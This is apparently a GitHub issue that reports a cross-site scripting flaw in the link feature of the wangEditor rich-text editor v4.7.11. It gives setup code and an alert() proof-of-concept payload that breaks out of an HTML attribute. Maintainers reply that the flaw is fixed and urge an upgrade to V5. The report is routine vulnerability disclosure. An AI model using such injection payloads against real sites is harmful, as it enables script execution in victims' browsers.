There is an XSS vulnerability at the link

[wahaha1573]

bug

XSS vulnerability

wangEditor version

V4.7.11

Can the official website reproduce the loopholes ？

yes

Reproduction steps

1.Use the following code to build the environment or on the official demo website(https://codepen.io/xiaokyo-the-bold/pen/ZEpWByR)

<script type="text/javascript" src="https://unpkg.com/wangeditor/dist/wangEditor.min.js"></script>
<span class="col-lg-8" id="editor"></span>
<script type="text/javascript">
  const E = window.wangEditor
  const editor = new E('#editor')
  editor.create()
</script>

2.Visit this HTML page and do the following
poyload:
"><img src=1 onerror=alert(/xss/)>

[Gavin-yh]

link xss已经修复发版，可以试试新版本。

[wangfupeng1988]

V5 已正式发布，v4 的 issue 将暂停处理。
该项目也是业余维护的，精力不够，还请体谅~

推荐尽快升级到 V5 版本。